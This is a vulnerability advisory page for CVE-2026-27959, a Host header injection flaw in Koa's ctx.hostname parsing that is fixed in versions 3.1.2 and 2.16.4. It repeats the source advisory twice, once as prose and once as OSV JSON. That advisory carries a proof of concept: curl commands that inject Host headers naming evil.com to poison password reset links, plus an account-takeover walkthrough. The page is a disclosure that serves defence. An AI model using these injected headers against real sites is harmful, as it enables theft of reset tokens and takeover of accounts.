CVE-2026-27959: Koa Koa Has Host Header Injection Vulnerability

HIGH
Advisory Identifier: GHSA-7gcc-r8m5-44qm
CVSS 7.5
CWE-20 CWE-74
Published
Advisory Summary

CVE-2026-27959 is a HIGH (CVSS 7.5) koa has host header injection vulnerability (CWE-20: Improper Input Validation) affecting Koa libraries in the npm ecosystem. The issue involves koa has host header injection via ctx.hostname. Remediation is available by upgrading affected packages to version 3.1.2, 2.16.4.

CVE-2026-27959 at a Glance

CVE Identifier CVE-2026-27959
GHSA Identifier GHSA-7gcc-r8m5-44qm
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-20: Improper Input Validation
Affected Product Koa
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-27959

To remediate this vulnerability, upgrade all affected Koa dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

koa fixed: 3.1.2
npm install koa@3.1.2
koa fixed: 2.16.4
npm install koa@2.16.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls koa

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-27959, inspect your project dependencies using npm:

npm ls koa

Analyze the terminal output to locate any version of Koa in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.2), your application is affected.

Note: The npm ls koa command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Koa, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Koa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. ## Details The vulnerability exists in Koa's hostname getter in `lib/request.js`: ```javascript // Koa 2.16.1 - lib/request.js get hostname() { const host = this.host; if (!host) return ''; if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal return host.split(':', 1)[0]; } ``` The `host` getter retrieves the raw header value with HTTP/2 and proxy support: ```javascript // Koa 2.16.1 - lib/request.js get host() { const proxy = this.app.proxy; let host = proxy && this.get('X-Forwarded-Host'); if (!host) { if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); if (!host) host = this.get('Host'); } if (!host) return ''; return host.split(',')[0].trim(); } ``` ### The Problem The parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2. **RFC 3986 Section 3.2.2** defines the host component as: ``` host = IP-literal / IPv4address / reg-name reg-name = *( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "=" ``` The `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component. ### Attack Vector When an attacker sends: ``` Host: evil.com:fake@legitimate.com:3000 ``` Koa parses this as: | API | Returns | Notes | |-----|---------|-------| | `ctx.get('Host')` | `"evil.com:fake@legitimate.com:3000"` | Raw header | | `ctx.hostname` | `"evil.com"` | **Attacker-controlled** | | `ctx.host` | `"evil.com:fake@legitimate.com:3000"` | Raw header value | | `ctx.origin` | `"http://evil.com:fake@legitimate.com:3000"` | Protocol + malformed host | The `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser. ### Additional Concern: `ctx.origin` Koa's `ctx.origin` property concatenates protocol and host without validation: ```javascript // lib/request.js get origin() { return `${this.protocol}://${this.host}`; } ``` Applications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo. ### HTTP/2 Consideration Koa explicitly checks `httpVersionMajor >= 2` to read the `:authority` pseudo-header: ```javascript if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); ``` The same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically. ## PoC ### Setup ```javascript // server.js const Koa = require('koa'); const app = new Koa(); // Simulates password reset URL generation (common vulnerable pattern) app.use(async ctx => { if (ctx.path === '/forgot-password') { const resetToken = 'abc123securtoken'; const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`; ctx.body = { message: 'Password reset link generated', resetUrl: resetUrl, debug: { rawHost: ctx.get('Host'), parsedHostname: ctx.hostname, origin: ctx.origin, protocol: ctx.protocol } }; } }); app.listen(3000, () => console.log('Server on http://localhost:3000')); ``` ### Exploit ```bash curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password ``` ### Result ```json { "message": "Password reset link generated", "resetUrl": "http://evil.com/reset?token=abc123securtoken", "debug": { "rawHost": "evil.com:fake@localhost:3000", "parsedHostname": "evil.com", "origin": "http://evil.com:fake@localhost:3000", "protocol": "http" } } ``` The password reset URL points to `evil.com` instead of the legitimate server. In a real attack: 1. Attacker requests password reset for victim's email with malicious Host header 2. Server generates reset link using `ctx.hostname` → `https://evil.com/reset?token=SECRET` 3. Victim receives email with poisoned link 4. Victim clicks link, token is sent to attacker's server 5. Attacker uses token to reset victim's password ### Additional Test Cases ```bash # Basic injection curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # With port preservation attempt curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # Unicode/encoded variations curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" ``` ### Deployment Consideration For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when: 1. **No reverse proxy** - Application directly exposed to internet 2. **Misconfigured proxy** - Proxy doesn't override/validate Host header 3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected 4. **Default virtual host** - Server is the catch-all for unrecognized Host headers ## Impact ### Vulnerability Type - CWE-20: Improper Input Validation - CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax ### Attack Scenarios **1. Password Reset Poisoning (High Severity)** - Attacker hijacks password reset tokens by poisoning reset URLs - Requires victim to click link in email - Results in account takeover **2. Email Verification Bypass** - Attacker poisons email verification links - Can verify attacker-controlled email on victim accounts **3. OAuth/SSO Callback Manipulation** - Applications using `ctx.hostname` for OAuth redirect URIs - Attacker redirects OAuth callbacks to malicious server - Results in token theft **4. Web Cache Poisoning** - If responses are cached without Host in cache key - Poisoned URLs served to all users - Persistent XSS/phishing via cached responses **5. Server-Side Request Forgery (SSRF)** - Internal routing decisions based on `ctx.hostname` - Attacker manipulates which backend receives requests ### Who Is Impacted - **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation - **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

CVE-2026-27959 Affected Koa Versions

2 component(s)
Fixed Versions:
3.1.22.16.4
Product / Package Ecosystem Affected Versions Fixed Version
koa
npm
≥ 3.0.0
< 3.1.2
3.1.2
koa
npm
< 2.16.4
2.16.4

References

Frequently Asked Questions

What is CVE-2026-27959?
CVE-2026-27959 is a security vulnerability in Koa involving Koa has Host Header Injection via ctx.hostname under CWE-20: Improper Input Validation.
Which Koa versions are affected?
Affected versions include releases prior to 3.1.2, 2.16.4 across affected packages: koa.
What version fixes CVE-2026-27959?
Upgrading to 3.1.2, 2.16.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is koa affected?
Yes, koa is affected in releases prior to 3.1.2, 2.16.4. Upgrade your dependency to 3.1.2, 2.16.4 or later.
What is the CVSS score of CVE-2026-27959?
CVE-2026-27959 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-27959?
CVE-2026-27959 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check npm dependencies for CVE-2026-27959?
Run the dependency tree command: 'npm ls koa'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7gcc-r8m5-44qm",
  "modified" : "2026-02-26T22:42:57Z",
  "published" : "2026-02-26T22:42:57Z",
  "aliases" : [ "CVE-2026-27959" ],
  "summary" : "Koa has Host Header Injection via ctx.hostname",
  "details" : "## Summary\n\nKoa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.\n\n## Details\n\nThe vulnerability exists in Koa's hostname getter in `lib/request.js`:\n\n```javascript\n// Koa 2.16.1 - lib/request.js\nget hostname() {\n  const host = this.host;\n  if (!host) return '';\n  if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal\n  return host.split(':', 1)[0];\n}\n```\n\nThe `host` getter retrieves the raw header value with HTTP/2 and proxy support:\n\n```javascript\n// Koa 2.16.1 - lib/request.js\nget host() {\n  const proxy = this.app.proxy;\n  let host = proxy && this.get('X-Forwarded-Host');\n  if (!host) {\n    if (this.req.httpVersionMajor >= 2) host = this.get(':authority');\n    if (!host) host = this.get('Host');\n  }\n  if (!host) return '';\n  return host.split(',')[0].trim();\n}\n```\n\n### The Problem\n\nThe parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.\n\n**RFC 3986 Section 3.2.2** defines the host component as:\n\n```\nhost = IP-literal / IPv4address / reg-name\nreg-name = *( unreserved / pct-encoded / sub-delims )\nunreserved = ALPHA / DIGIT / \"-\" / \".\" / \"_\" / \"~\"\nsub-delims = \"!\" / \"$\" / \"&\" / \"'\" / \"(\" / \")\" / \"*\" / \"+\" / \",\" / \";\" / \"=\"\n```\n\nThe `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.\n\n### Attack Vector\n\nWhen an attacker sends:\n\n```\nHost: evil.com:fake@legitimate.com:3000\n```\n\nKoa parses this as:\n\n| API | Returns | Notes |\n|-----|---------|-------|\n| `ctx.get('Host')` | `\"evil.com:fake@legitimate.com:3000\"` | Raw header |\n| `ctx.hostname` | `\"evil.com\"` | **Attacker-controlled** |\n| `ctx.host` | `\"evil.com:fake@legitimate.com:3000\"` | Raw header value |\n| `ctx.origin` | `\"http://evil.com:fake@legitimate.com:3000\"` | Protocol + malformed host |\n\nThe `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser.\n\n### Additional Concern: `ctx.origin`\n\nKoa's `ctx.origin` property concatenates protocol and host without validation:\n\n```javascript\n// lib/request.js\nget origin() {\n  return `${this.protocol}://${this.host}`;\n}\n```\n\nApplications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.\n\n### HTTP/2 Consideration\n\nKoa explicitly checks `httpVersionMajor >= 2` to read the `:authority` pseudo-header:\n\n```javascript\nif (this.req.httpVersionMajor >= 2) host = this.get(':authority');\n```\n\nThe same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically.\n\n## PoC\n\n### Setup\n\n```javascript\n// server.js\nconst Koa = require('koa'); \nconst app = new Koa();\n\n// Simulates password reset URL generation (common vulnerable pattern)\napp.use(async ctx => {\n  if (ctx.path === '/forgot-password') {\n    const resetToken = 'abc123securtoken';\n    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;\n    \n    ctx.body = {\n      message: 'Password reset link generated',\n      resetUrl: resetUrl,\n      debug: {\n        rawHost: ctx.get('Host'),\n        parsedHostname: ctx.hostname,\n        origin: ctx.origin,\n        protocol: ctx.protocol\n      }\n    };\n  }\n});\n\napp.listen(3000, () => console.log('Server on http://localhost:3000'));\n```\n\n### Exploit\n\n```bash\ncurl -H \"Host: evil.com:fake@localhost:3000\" http://localhost:3000/forgot-password\n```\n\n### Result\n\n```json\n{\n  \"message\": \"Password reset link generated\",\n  \"resetUrl\": \"http://evil.com/reset?token=abc123securtoken\",\n  \"debug\": {\n    \"rawHost\": \"evil.com:fake@localhost:3000\",\n    \"parsedHostname\": \"evil.com\",\n    \"origin\": \"http://evil.com:fake@localhost:3000\",\n    \"protocol\": \"http\"\n  }\n}\n```\n\nThe password reset URL points to `evil.com` instead of the legitimate server. In a real attack:\n\n1. Attacker requests password reset for victim's email with malicious Host header\n2. Server generates reset link using `ctx.hostname` → `https://evil.com/reset?token=SECRET`\n3. Victim receives email with poisoned link\n4. Victim clicks link, token is sent to attacker's server\n5. Attacker uses token to reset victim's password\n\n### Additional Test Cases\n\n```bash\n# Basic injection\ncurl -H \"Host: evil.com:x@legitimate.com\" http://localhost:3000/forgot-password\n# Result: hostname = \"evil.com\"\n\n# With port preservation attempt\ncurl -H \"Host: evil.com:443@legitimate.com:3000\" http://localhost:3000/forgot-password  \n# Result: hostname = \"evil.com\"\n\n# Unicode/encoded variations\ncurl -H \"Host: evil.com:x%40legitimate.com\" http://localhost:3000/forgot-password\n# Result: hostname = \"evil.com\"\n```\n\n### Deployment Consideration\n\nFor this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:\n\n1. **No reverse proxy** - Application directly exposed to internet\n2. **Misconfigured proxy** - Proxy doesn't override/validate Host header\n3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected\n4. **Default virtual host** - Server is the catch-all for unrecognized Host headers\n\n## Impact\n\n### Vulnerability Type\n\n- CWE-20: Improper Input Validation\n- CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax\n\n### Attack Scenarios\n\n**1. Password Reset Poisoning (High Severity)**\n- Attacker hijacks password reset tokens by poisoning reset URLs\n- Requires victim to click link in email\n- Results in account takeover\n\n**2. Email Verification Bypass**\n- Attacker poisons email verification links\n- Can verify attacker-controlled email on victim accounts\n\n**3. OAuth/SSO Callback Manipulation**\n- Applications using `ctx.hostname` for OAuth redirect URIs\n- Attacker redirects OAuth callbacks to malicious server\n- Results in token theft\n\n**4. Web Cache Poisoning**\n- If responses are cached without Host in cache key\n- Poisoned URLs served to all users\n- Persistent XSS/phishing via cached responses\n\n**5. Server-Side Request Forgery (SSRF)**\n- Internal routing decisions based on `ctx.hostname`\n- Attacker manipulates which backend receives requests\n\n### Who Is Impacted\n\n- **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation\n- **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "koa"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.1.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "koa"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.16.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27959"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/koajs/koa"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-74" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-26T22:42:57Z",
    "nvd_published_at" : "2026-02-26T02:16:23Z"
  }
}